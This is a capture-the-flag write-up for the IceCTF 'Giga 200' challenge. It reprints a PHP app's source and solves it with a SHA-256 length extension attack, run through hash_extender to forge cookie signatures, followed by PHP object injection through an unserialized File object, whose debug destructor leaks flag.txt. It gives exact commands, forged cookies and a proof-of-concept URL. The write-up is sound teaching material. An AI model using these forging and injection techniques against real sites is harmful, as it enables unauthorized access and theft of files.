24-08-2015 / Ctf

IceCTF - Giga 200 Write-up

File: login.php

<?php
require_once("classes.php");
$username = $_POST["username"];
$password = $_POST["password"];
if (Auth::login($username,$password)) {
    header("Location: files.php");
} else {
    header("Location: index.php");
}
?>

File: files.php

<?php
require_once("config.php");
require_once("classes.php");
$auth = Auth::authenticate();
if ($auth !== true) {
    die("Unauthenticated");
}
if(isset($_GET["file"])) {
    $file = $_GET["file"] . ".gif";
    $f = new File($file);
    if(!$f->exists()) {
        die("File not found");
    }
    // If debug mode is enabled, output base64 data instead of the file
    if(DEBUG) {
        $f->__destruct();
    } else {
        $contents = $f->contents();
        if ($contents === FALSE) {
            echo "Failed opening file: " . $file;
        } else {
            header("Content-Type: " . $f->filetype());
            header("Content-Length: " . $f->filesize());
            echo $contents;
        }
    }
    exit(0);
}
?>
<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <title>Video collection</title>
    <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css" />
    <script src="//code.jquery.com/jquery-1.11.3.min.js"></script>
    <script>
        $(function(){ 
            var img = $("#img")[0];
            $(".links a").on("click", function(e) {
                e.preventDefault();
                img.src = $(this).attr("href");
            });
        });
    </script>
</head>
<body>
    <div class="container">
        <h1>My GIF collection</h1>
        <img id="img" class="u-full-width" />
        <ul class="links">
            <?php
                foreach(glob("files/*.gif") as $file){
                    $file = str_replace("files/", "", $file);
                    $file = preg_replace('/\\.[^.\\s]{3,4}$/', '', $file); 
                    echo "<li><a href='files.php?file=$file'>$file</a></li>";
                }
            ?>
        </ul>
        <a href="http://web2015.icec.tf/giga/files.phps">files.php source</a>
    </div>
</body>
</html>

File: classes.php

<?php
require_once("config.php");
// Disable path traversal attacks
define("BASE_DIR", dirname(__FILE__));
$files = array_diff(scandir(BASE_DIR . '/files'), array('..', '.'));
class Auth {
    // Validates cookies
    static function authenticate(){
        $auth = false;
        if (isset($_COOKIE["auth"])) {
            $sig = $_COOKIE["sig"];
            if ($sig !== hash("sha256", AUTH_SECRET . strrev($_COOKIE["auth"]))) {
                $auth = false;
            } else {
                $auth = unserialize($_COOKIE["auth"]);
            }
        } else {
            self::mkcookie(false);
        } 
        return $auth;
    }
    // Validates a login and sets cookies
    static function login($username, $password) {
        if($username === USERNAME && $password === PASSWORD) {
            self::mkcookie(true);
            return true;
        } else {
            self::mkcookie(false);
            return false;
        }
    }
   // Creates cookies according to standards 
    static function mkcookie($auth) {
        $s = serialize($auth);
        setcookie("auth", $s);
        setcookie("sig", hash("sha256", AUTH_SECRET . strrev($s)));
    }
}
class File {
    protected $filename;
    // Constructor
    function __construct($filename) {
        $this->filename = $filename;
    }
    // Returns the MIME type of the file
    function filetype(){
        if(!$this->exists())
            return false;
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $filetype = finfo_file($finfo, BASE_DIR . "/files/" . $this->filename);
        finfo_close($finfo);
        return $filetype;
    }
    // Returns the size of the file
    function filesize() {
        if(!$this->exists())
            return -1;
        return filesize(BASE_DIR . "/files/" . $this->filename);
    }
    // Check if the file exists
    function exists() {
        global $files;
        return in_array($this->filename, $files);
    }
    // Returns the contents of a file
    function contents() {
        if(!$this->exists())
            return false;
        return @file_get_contents(BASE_DIR . "/files/" . $this->filename);
    }
    // For debugging my gifs
    function __destruct() {
        if(!DEBUG)
            return;
        $s = "<!-- {DEBUG} \n";
        $s .= "{TYPE}" . $this->filetype() . "{/TYPE} \n";
        $s .= "{SIZE}" . $this->filesize() . "{/SIZE} \n";
        $s .= "{CONTENTS}" . base64_encode($this->contents()) . "{/CONTENTS} \n";
        $s .= "{/DEBUG} -->";
        echo $s;
    }
}

File: config.php

<?php
define("AUTH_SECRET", sha1("REDACTED"));
define("USER", "REDACTED");
define("PASSWORD", "REDACTED");
if(isset($_GET["debug"])) {
    define("DEBUG", intval($_GET["debug"]));
} else {
    define("DEBUG", 0);
}

We can use Hash length extension vulnerability because of sha256.

if ($sig !== hash("sha256", AUTH_SECRET . strrev($_COOKIE["auth"]))) {
    $auth = false;
} else {
    $auth = unserialize($_COOKIE["auth"]);
}

How can we get $auth === true after unserialize() ? In PHP, Boolean serialization looks like this:

var_dump(unserialize('b:0;')); // bool(false)
var_dump(unserialize('b:1;')); // bool(true)

What is more interesting:

var_dump(unserialize('b:1;b:0;b:0;b:0; another characters')); // bool(true)

Because sha256 uses reversed $_COOKIE["auth"] content, instead of b:1; we put ;1:b at the end of string:

echo strrev(';0:b another characters ;1:b'); // b:1; sretcarahc rehtona b:0;
var_dump(unserialize(strrev(';0:b another characters ;1:b'))); // bool(true)

For extension attack we use Hash Extender by Ron Bowes.

We know that secret length is 40 sizeof(sha1):

define("AUTH_SECRET", sha1("REDACTED")); // strlen(sha1("sth")) == 40
./hash_extender -d ';0:b' -s f4229fe3f6cae91ad77f32cfda0de36c228b49d3b3a4b236beb3eee63411616a -a ';1:b' -f sha256 -l 40 --out-data-format=html
Type: sha256
Secret length: 40
New signature: 0ef2102c3ad73b3d5a39ce0ba6f329f6442b4f235762b2932a4b3013aa4ca93b
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%60%3b1%3ab

For correct auth:

echo urlencode(strrev(urldecode('%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%60%3b1%3ab')));

Now change cookies:

auth=b%3A1%3B%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
sig=0ef2102c3ad73b3d5a39ce0ba6f329f6442b4f235762b2932a4b3013aa4ca93b

We are inside admin panel. Second part is tricky. We need to get flag.txt content. In old PHP versions it was possible to use null byte because of:

$file = $_GET["file"] . ".gif";
$f = new File($file);

but this doesn't work here. We use object injection instead.

First set $filename = "flag.txt".

class File {
    protected $filename;
    function __construct($filename) {
        $this->filename = $filename;
    }
}
echo serialize(new File("flag.txt"));

But it will not work. Why? As you can read in PHP manual:

Object's private members have the class name prepended to the member name; protected members have a '*' prepended to the member name. These prepended values have null bytes on either side.

So browser render this text as:

O:4:"File":1:{s:11:"*filename";s:8:"flag.txt";}

But it really looks like:

O:4:"File":1:{s:11:"%NULLBYTE%*%NULLBYTE%filename";s:8:"flag.txt";}

Because hash_extender understand hex representation we convert our text.

<?php
class File {
    protected $filename;
    function __construct($filename) {
        $this->filename = $filename;
    }
}
echo bin2hex(strrev(serialize(new File("flag.txt"))));

Generate new payload:

./hash_extender -d ';0:b' -s f4229fe3f6cae91ad77f32cfda0de36c228b49d3b3a4b236beb3eee63411616a -a 7d3b227478742e67616c66223a383a733b22656d616e656c6966002a00223a31313a737b3a313a22656c6946223a343a4f --append-format=hex -f sha256 -l 40 --out-data-format=html
Type: sha256
Secret length: 40
New signature: 0adadcd33e1d1ba6c05cb342d65ceff8e6acd59ea16b72965c9e8be5b01b9ead
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%60%7d%3b%22txt%2egalf%22%3a8%3as%3b%22emanelif%00%2a%00%22%3a11%3as%7b%3a1%3a%22eliF%22%3a4%3aO

Finally cookies looks like:

auth=O%3A4%3A%22File%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.txt%22%3B%7D%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
sig=0adadcd33e1d1ba6c05cb342d65ceff8e6acd59ea16b72965c9e8be5b01b9ead

We access files.php and get Unauthenticated message. Why?

$out = unserialize(urldecode('O%3A4%3A%22File%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.txt%22%3B%7D%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B'));
var_dump($out);
var_dump($out === true);
object(File)#1 (1) {
  ["filename":protected]=>
  string(8) "flag.txt"
}
bool(false)

We have our File object in memory but it's not true. What's next? It's time for __destruct.

PHP 5 introduces a destructor concept similar to that of other object-oriented languages, such as C++. The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence.

When die("Unauthenticated"); is displayed, File destructor is called.

In this CTF file content is displayed when we pass ?debug=1 param in URL.

function __destruct() {
    if(!DEBUG)
        return;
    $s = "<!-- {DEBUG} \n";
    $s .= "{TYPE}" . $this->filetype() . "{/TYPE} \n";
    $s .= "{SIZE}" . $this->filesize() . "{/SIZE} \n";
    $s .= "{CONTENTS}" . base64_encode($this->contents()) . "{/CONTENTS} \n";
    $s .= "{/DEBUG} -->";
    echo $s;
}

Success. View page source because <!-- is treated as HTML comment.

Unauthenticated<!-- {DEBUG} 
{TYPE}text/plain{/TYPE} 
{SIZE}60{/SIZE} 
{CONTENTS}Rm9yIGZyaWVuZHMgb25seTogVGhlIGZsYWcgaXM6IGZsYWdfaV9zd2Vhcl9pdF93YXNfOV9pbmNoZXMK{/CONTENTS} 
{/DEBUG} -->

Proof of Concept

Set cookies:

auth=O%3A4%3A%22File%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A8%3A%22flag.txt%22%3B%7D%60%01%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3A0%3B
sig=0adadcd33e1d1ba6c05cb342d65ceff8e6acd59ea16b72965c9e8be5b01b9ead

Visit url:

http://giga.icec.tf/files.php?debug=1